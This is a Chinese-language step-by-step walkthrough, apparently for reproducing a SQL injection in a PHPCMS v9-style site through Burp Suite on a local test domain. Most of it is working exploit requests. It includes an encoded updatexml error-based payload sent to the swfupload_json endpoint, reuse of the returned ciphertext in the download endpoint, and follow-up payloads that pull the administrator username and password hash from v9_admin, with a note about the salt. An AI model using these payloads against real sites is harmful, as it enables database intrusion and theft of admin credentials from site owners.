搭建环境,我在本地搭建域名为www.xxoo.com的测试环境。
打开burpsuite,进行拦截
打开火狐浏览器,访问有漏洞的网站。
http://www.xxoo.com/index.php
在burpsuite下可以看到拦截到的数据包,然后选择repeater进行重放。
修改数据包访问,以GET方式访问如下url:
/index.php?m=wap&c=index&a=init&siteid=1
获取一个cookie值。
修改数据包,以POST的方式访问如下url:
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
传入userid_flash变量,变量的值为刚刚获取到的cookie的值
userid_flash=8e1aSUPnsWW7oyrW4uXnLwpGeuaguPWvj4MG4hFI
在数据包头的结尾添加(这一步必须要,要不然复现失败。应该数据包的格式要求)
content-Type:application/x-www-form-urlencoded
content-Length:53
提交数据包,回返回一段加密的密文,将这段密文复制下来。
修改数据包,以POST的方式访问如下url:
/index.php?m=content&c=down&a_k=9a1du532Ka5IHxj4suayVqFa4apfeeWxfhr001168mDJRXYRPkw_tEv4NukqHs9ISyAeV-AErtpxeF1-ZMagDfiqwObPiPzk71FGKY5LxmJRCqdCWrftqP-kL4w2pWq5yo0NlxWE0dIbytMqg8UlZjTmaNOh8TvyYT4hpUHJm28DRDSTbD-Lgz8
a_k的值为上一步返回的那段密文。
提交之后即可成功复现漏洞。
直接来读取username 用distinct突破长度限制 本来有32位 就是不给你显出来 你蛋蛋疼不!
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and+updatexml(1%2cconcat(0x7e%2c(SELECT+distinct+concat(username)+FROM+v9_admin+limit+0%2c1)%2c0x7e)%2c1)%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
再来一个 substring截取 直接来读取password 别忘了还有盐:encrypt 以及phpsso_server
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and+updatexml(1%2cconcat(1%2c(select+substring(concat(password)%2c1%2c30)+from+v9_admin+limit+0%2c1))%2c1)%2523%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26